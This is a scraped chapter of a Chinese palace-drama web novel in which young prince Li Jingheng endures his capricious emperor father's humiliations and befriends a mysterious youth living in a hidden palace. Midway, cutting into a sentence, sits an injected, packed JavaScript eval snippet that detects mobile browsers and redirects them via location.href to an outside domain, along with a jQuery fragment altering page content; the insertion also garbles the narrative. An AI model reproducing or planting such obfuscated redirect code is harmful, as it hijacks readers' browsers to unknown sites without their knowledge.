默认冷灰
24号文字
方正启体

23.往事烟尘一梦

作者:渡清灼本书字数:K更新时间:
    李景珩还是孩子的时候,曾对宫廷当中的观赏鱼感到怜悯。


    它们大多是外邦进献给皇帝的观赏物种,并不适合大庸雍的气候条件,在来使特意维持的生机消失后便会死去,再被宫人们处理掉。


    那时候的他趴在小小的池塘边,隔着晶莹的水珠和这些呆头呆脑的鱼对视着,那年的夏天很好,阳光落在这些半透明的液体当中,氤氲出一种不似人间一般的梦幻,他在看鱼,鱼在看他。


    他的虹膜映照出透亮的水色,意外的感到了一种孩童的难过。


    “这头鱼也会像之前那头一样马上死去吗?”


    “如果小殿下期望的话,它一定会好起来的。”


    “可是我觉得他好像要死了。”他感到一种无法言喻的感伤,不是那种孩子丢失了玩具的难过,而是一种更加复杂的东西。


    “他死的时候会很痛吗?会像我离开母亲一样难过吗?”


    “不会的。”宫人轻声细语的安慰他。“鱼的记忆很短,它们还没感觉到痛,就已经回到佛陀那里了。”


    “真的吗?”他扬起脑袋来看着眼前这个宫人,对方也微笑着摸了摸他的脑袋。


    “真的。”


    “好,那我相信它一定会好好的。”


    孩子在很小的时候大概都是这样,明明天性当中已经拥有了一种对万事万物的察觉,却还是选择相信信任之人的话一样。


    他就这样笑嘻嘻的跑回了母亲那里,向她分享一天的开心与难过,直到之后的几日,他看着那头呆头呆脑的鱼浮了上来,他的鱼鳞已经失去了生前的光华与美丽,只留下一具残破而无望的躯体。


    人们喜欢它的美丽和它背后所代表的意义,却没办法理解这头鱼真正想要的是什么。


    他坐在那里,突然有一点理解到死亡是什么了。


    死亡就是无法选择,无法回避的东西,无论是鱼还是人都是如此,那他和母亲是不是有一天也要迎接这样的东西?


    他感到一阵莫名的恐慌。


    “在看什么?”


    那是一道低沉的男音。


    他没有理会这道声音,他年幼的脑子还沉浸在自我的世界当中,养优处尊的宫廷生活,让他可以理所当然的旁若无人,直到一道尖锐的太监声音响起。


    “三殿下,殿下问您话呢?”


    是父皇?他才骤然意识到发问人的身份,急忙回头看去,只见一个穿着暗金色龙袍的男人长身玉立的站在这片小院中,把本来高耸的宫墙都衬低了不少。


    他想起母亲的教诲,赶忙低下脑袋恭敬行礼。


    “儿臣参见父皇。”


    “不必多礼。”


    男人坐到了他旁边的石头上,一双上扬的桃花眼平淡的看着眼前的孩子,声音慢条斯理。


    “为什么坐在这里发呆?今日的课业可做了?”


    “回禀父皇,儿臣……儿臣还没有到上学的年纪。”他拉紧了自己的袖子,努力让自己镇定一些。


    “今年不是已经5岁了吗?”他似乎皱了皱眉。


    “回殿下,皇子课业一般是6岁才开始的。”


    “哦,是朕记错了。”男人毫无歉意的说。


    “所以为什么坐在这里?”


    “回禀父皇,儿臣是在看外邦进贡的鱼。”


    男人像是才想起来这里有外邦的鱼一样,屈尊降贵的往下看了一眼,就和已经泡的有些发白的死鱼眼对上了。


    “这有什么好看的,不就是死鱼,你的宫人怎么还不处理了?”


    他的声音只不过是低沉了几分,那大太监就大声开始叫这附近宫人的名字。


    李景珩吓得浑身发抖,他的脑中不断回忆着母亲交给他的宫廷生存守则,他要明哲保身,不能庇护任何人,不能给母亲带来任何的麻烦。


    但心里的某一处又有什么东西在叫嚣,这只不过是因为皇帝来的太凑巧了,这头鱼从他看着咽气到现在不过十几分钟,他们宫内又没有专门负责养鱼的,当然不能指望宫人及时处理了。


    这对他们来说是一场无妄之灾。


    他鼓起勇气斟酌着措辞。


    “不是他们的错,是这头鱼刚刚死而已。”


    “但这依旧是他们的失职,我不关心这头鱼什么时候死的,我只关心它出现在了我的面前。”男人声音平淡的像是在陈述某种事实。


    但像想到了什么,他的语气生硬的回转了一下。


    “如果是你,你会怎么说服我?”


    “我……”他卡壳了一下,“父皇是万尊之躯,我又怎么敢质疑您的选择。”


    男人看着他,像是看到了某种早已预料到的事情。


    “罢了,左右也不过是一条鱼而已。”他似乎是想要开口说下一句话,但在太阳的照射下,他的眼睛似乎微微缩了一瞬。


    然后再开口时,他的语调开始上扬。


    “这是发生什么啦?”他问着旁边的太监。


    太监像是早已见怪不怪。


    “您来见三皇子,看见有死鱼没有处理,最后因为父爱选择放过宫人。”


    “哦?这可是很严重的事情啊。”他饶有兴致的看着眼前的孩子,眼里满是兴味。


    “不如你给我表演一下?我心情好的话就放过他们,怎么样?”


    “我……”李景珩感到手脚冰凉,他属于孩子的脑袋还无法理解为什么上一秒父皇想要放过他,下一秒就又开始捉弄他。


    但他知道一点,他并没有什么拿得出手的才艺。


    “殿下大驾光临,怎么不叫臣妾知道?”


    一道清亮的女声响起,一个身穿华丽宫装的女人款步走出,他的眼神似有似无的撇过李景珩,然后拉起了皇帝的手腕。


    男人似乎毫不介意,顺着女人的手起身笑道。


    “我也是好久没见爱妃了,甚是想念啊。”


    “您这是哪里的话,我们前几日不才见过吗?”女人调笑道。


    “一日不见如隔三秋。”男人面不改色的回答。


    “那臣妾可得看看你有多想我了。”女人微笑着就想把他往屋子里拉。


    “爱妃既然有如此美意,孤当然不能错过了。”皇帝微笑着顺着他的力道往前走,只是回头使了个眼色,那太监便顺从的抱起了李景珩,和这对世界上最尊贵的人之一往屋里走去。


    “爱妃这的风景倒是十年如一日的好。”他撑着脑袋坐在窗边,女人在为他用手拨着进贡来的水果,一颗一颗的喂到他嘴里。


    男人顺从的张开嘴,另一只手有一搭没一搭的敲着桌边。


    “爱妃可知道我们的好皇儿干了什么事?”


    “臣妾倒在屋里听了个分明,不过是一头死鱼嘛,你这做父亲的倒是让些孩子。”女人故意嗔怪道。


    “自然,不过我平白受了那死鱼惊吓,也好生可怜呀。”他捂着胸口怪叫。


    女人的手微微一顿,她久在宫廷当中的直觉告诉他,如果不给眼前的男人一个交代,怕是今天不会那么好过了。


    但眼前这个男人喜怒不形于色,如果让他随意玩弄自家儿子,说不定要出什么大事。


    她的思绪流转了几瞬,便温柔的开口。


    “珩儿没什么特长,不如便让他抛玉珠玩吧。”


    “既然爱妃发话了,那我自然是无有不从啊。”男人笑嘻嘻的从盘子里挑了几个葡萄,随手丢到了李景珩面前。


    其中两个砸在他的脑袋上,还有一个被他胡乱接住了。


    他刚刚想要俯身去捡那两个葡萄,就看到母亲的眼中满是不赞同。


    他微微一顿,转而拍了拍身上的灰。


    然后拿起那个葡萄开始在空中不停的丢和接。


    小孩子的体型对于抛接一个葡萄而言还是非常轻松的,男人观赏了他几分钟之后又在空中丢来了一个葡萄。


    他手忙脚乱的接住了那个葡萄,然后在空中重新丢了起来。


    “下次不要停,直接接。”男人命令道。


    “好的,父皇。”


    他感到内心的某一处悄悄的碎掉了,这个几乎从未见过面的父亲一上来就对他进行玩弄,让他实在有些受伤。


    但是为了母亲,他又要感到这些都是可以忍受的。


    两个葡萄刚刚运行了一段时间,男人便丢来了第三个葡萄,他全神贯注的抓住了那个葡萄,现在他的手上有三个葡萄了,即使他在玩乐一道上天赋异禀,也感到有些无力了。


    不能再有下一个了。


    不然他一定会掉在地上的。


    可惜男人像是听到他的心声一般,最后一个葡萄落在了他的面前,他伸出手去接,手上的那三个葡萄都掉在了地上。


    他没控制住力道,向前趴倒在地。


    男人站起身来走到他面前,他的鞋子碾过了葡萄,像看什么小猫小狗一样把他拎起来端详了片刻,随后随意的向着女人丢去。


    “珩儿有点意思,不过还得练。”


    他笑的有些邪气。


    “下次再这样,可就不是放过你了。”


    随着大门的落下,宫外的脚步渐渐的走远了,他忍不住趴在母亲的膝盖上像小猫一样抽噎。


    “为什么父皇要这么捉弄我?只不过是一头鱼没有及时处理而已。”


    母亲温柔的抚摸着他的脑袋,语气却依旧冷静。


    “不要这么说你父皇,他并不是我们能够评论的对象。”


    “可他不是我的父亲吗?”


    “他是皇帝,你父亲只是他其中一个身份,甚至并不特别。”


    “好啦,别哭了。”


    “你的确该学些东西了,孩子的玩乐时光也该过去了。”


    她如此宣判道,那些曾经如泡沫一样的孩童时光就这样悄悄离开了他。


    其实许多年后想来,他那个时候能趴在那边伤悲感秋,也未尝没有太闲的缘故。


    与旁人闲聊的时候,他便这样轻轻挥动手上的金玉扇子,笑的如同那个顽劣的父亲一样。


    不过在这之后不久,他其实也怎么收敛那份顽劣而敏感的天性。


    皇宫大院很长很大,他喜欢缩在那些没有人的院子里悄悄度过一整天,看夏日的蝉,看秋日的雪,看那些无人处的隐秘,看那些事物来回运转。


    不过孩子的脚毕竟走不了太远,他以往从未去到离母亲太远的地方。


    但那一天就像是命运注定的巧合一样,他追随着一只黑猫不小心跑远了,等反应过来的时候已经迷了路。


    夜色已经逐渐黑沉了下来,他不敢去敲宫殿的门,只想找到一个熟悉一点的宫人带他回去。


    就在他准备转向下一条路的时候,耳边似乎传来了某种细碎的声音。


    是几个妃嫔之间窃窃私语的声音。


    “为什么那位的心情愈发古怪了?”


    “这又不是我们能够决定的事情,不要再说那位了。”


    “刚刚是不是有什么声音?”一个女人竖起了耳朵。


    “你听错了吧?”


    “这里可是……总之这里绝对不可能有别人,我们也快点离开吧。”


    “说的也是呢。”


    女人们的声音慢慢走远,李景珩脱力的从墙上松开了手,他刚刚一时情急,竟然不知怎么的爬上了墙,眼下看着高耸的墙和地面,心里又打起了退堂鼓。


    这么高的距离,摔下去会摔到骨头吧?


    他有些犹豫不决,挪动着屁股换了个方向,但下一秒他就愣住了。


    因为他脚下是一座不应该存在的宫殿,所有的认知里都不应该存在的宫殿,但事实上,他就屹立在这里,以一种不亚于皇宫的豪华屹立在这里。


    而在他的不远处,一个少年正抬头看他,他身穿这一件考究的月白色衣服,随着光影浮动间显露出隐约的云鹤纹路,一双眼睛像是寒潭里浸着的月牙,让人不由的想到坠入深海时的瞬间。


    这宫殿里还移栽了一棵白玉兰,盛夏的炎热中,洁白的花朵落在地上,衬的这座外表古朴的宫殿美轮美奂,也衬的少年宛如世外仙人一般。


    他第一次感到了自惭形秽。


    “你好哥哥,我不是故意跑来这里的……”他实在不知该说什么话来辩解,对方开口帮他接话。


    “你只是下不来了。”


    “是的,不过不用担心,我会想到办法的。”


    “嗯?什么办法?”


    “或许我可以跳下来。”


    “原来这位小朋友还是只小猫。”少年笑道。


    “不过小猫也不可以在这么高的地方跳下来,还是我来抱你吧。”


    他走了过来,伸出手来准备接他。


    在这么近的距离他才发现这个少年也有一双桃花眼,不过和他的父皇不一样,他并不害怕这个人。


    不过少年看上去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303376|180553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也没有多大,他有些担心自己会把对方压塌。


    “要不你还是叫别人吧?”


    他轻声细语的开口。


    “别担心。”少年像是洞察了他的想法一般。


    “我不会被压塌的,你也不会掉在地上。”


    “我数三,二,一,你往下跳好吗?害怕的话就闭上眼睛,我保证像风吹过花瓣一样,你会轻轻落在地上的。”


    简直是在哄孩子嘛。


    他有些懊恼,却不由得冲散的几分紧张。


    他深吸一口气,闭着眼睛往下跳了下去。


    高空的坠落是人类恐惧的本能,但不知道为什么,这一次他却感到了一种如同鸟类一般的自由,因为他的确落进了一个怀抱里。


    他睁开眼,正对上少年的眼睛,明明也是孩子的年纪,抱他却抱的这样的稳,就像是……母亲一样。


    就在他愣神的时候,少年把他颠了两下,就像是农户抱小猪称重一样,看上去有些不满意。


    “几岁啦?”


    “今年五岁。”他乖乖的回答。


    “是不是挑食了?”


    “有点。”他确实不太爱吃宫廷里的食物。


    “宫廷里的孩子都有点挑食,毕竟管饭的只求不出错嘛。”


    少年没有指责他不好好吃饭,他看着黑沉的天空,像是在计算如今的时辰一样。


    “晚饭已经过了,看你应该不是附近的孩子,走回去估计要不少力气,便在我这里用饭吧。”


    “可以吗?”


    “当然,坐在那边稍等一下吧,有什么忌口的吗?”


    “没有。”


    “好。”


    少年转身离开了,李景珩随着他的方向走到了那一棵白玉兰树下,树下放置着很多宫灯,想必都点起来时一定很漂亮,但少年似乎只点了其中的一两盏,显得这个夜晚格外的静谧。


    他究竟是什么人?


    能独立住一个宫殿的人并不多,这般年纪的就更少见了,如果说他是某位皇子,他似乎从来没有见过他,如果说他不是,那他又为什么能住在皇宫当中?


    但在内心的某一处,他的确不希望对方是他的某一位皇兄或者皇弟。


    不过这些属于小孩的隐秘想法他都没有问出来,少年端着几盘菜走了出来,和皇宫大院一味追求的精致和古法相比,少年做的菜只是非常普通的类型。


    只是这些想法在他尝了一口之后就改变了。


    “好吃。”他眼睛亮晶晶的。


    “那就多吃点。”少年撑着脸看他吃。“这头鸡还是我下午刚宰的,自己养的,保证新鲜。”


    “……鸡?”


    皇宫里面还能养鸡吗?


    “试验而已,不必在意。”


    “好吧。”


    他乖乖的没有再多追问。


    “乖。”


    少年就这么看着他用完了饭,随后抱着他跳上了墙,轻轻将他放了下去。


    “不可以走正门吗?”


    “不可以,今天的守卫我不熟,在里面说话也就算了,直接出门会把你做成炸鱼干的。”


    “好吧。”


    “别担心,你就顺着之前出去的方向一直往前走,然后右转,接着向前走就好了。”


    “好的,哥哥。”


    “早点回家,别叫母亲担心。”


    眼看着少年又要往回跳,他不由得多问了一句。


    “那我还能来找你吗?”


    “诶,小朋友还挺喜欢我的嘛。”


    少年调笑了他一句,看他似乎有点说不出话,又补充道。


    “知道你是喜欢来我这蹭饭,我同意了,早点回去吧。”


    下一秒,他消失无踪。


    李景珩顺着他的方向一路往前走,这似乎是一条空荡无人的路,但在路上他却突然冒出了一个念头,对方是怎么知道他要回哪里的?


    不过这个念头又消失的很快。


    或许是因为他仍然爱那些虚幻如泡影一样的东西,又或者是他实在不愿意因为一份怀疑就失去一份在他看来弥足珍贵的相遇。


    之后的日子里他经常有事没事来少年这里玩。


    少年似乎总是在钻研很多奇奇怪怪的事情,像是那些木工一样经常来回把弄那些木头。


    “为什么要弄这些?”


    “我是想试试看能不能改良一下。”


    他放下了那些在李景珩看来毫无区别的木头。


    “一时半会也做不完,要不我教你读书吧?”


    “《三字经》吗?先生还在教我呢。”


    “那是做人的道理,有先生教你就够了,我要教你的是做事的道理。”


    “是什么?”他有点兴奋。


    “农学。”


    “啊。”李景珩有点失望,但还是乖乖的凑过去听。


    “你知道为什么圣朝最初的皇帝们恪守礼节,最后却刀兵相见吗?”


    “因为铁器能够开垦的农田多了,多国之间就开始接壤,战争就爆发了。”


    “这是其一,但战争远比这要复杂的多。”


    “战争所耗钱粮日费千金,比如一个人在前线打仗,后面就要有十个人去供给他的粮食,一个人拖着车送上前线,去的路上要吃,回来的路上也要吃,真正送到前线的粮食少之又少。”


    “而这些送粮食的人和打仗的人都需要国内的农户进行供养,一旦战争拉长,粮食问题就会愈发明显,而选择什么样的粮食又是很重要的因素,比如说小米就容易煮熟,便于携带,而且可以储存3~5年,煮沸所需要的温度也比较低,而豆子的储存性就会比小米差,只能储存2~3年,而且煮沸条件比较难,容易拉肚子。”


    “但我国每个土地所适宜种植的粮食不同,农业工具也不同,你可明白这一点?”


    “明白,但是为什么一定要打仗?”


    “战争只是衡量最好的度量标,无论打不打仗,让农民吃更多的饭都是最重要的事情。”


    “好啦,小孩子学习还是要循序渐进。”少年摸了摸他的脑袋,“我带你去做花酿好不好?”


    他刚想要回答,就听见某种细碎的东西开始以规律的传来声音。


    少年的脸色一变,把他推进了卧室里面。


    下一秒,他听到了一个无比熟悉的声音响起。


    “长明,怎么还不来迎接父皇?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)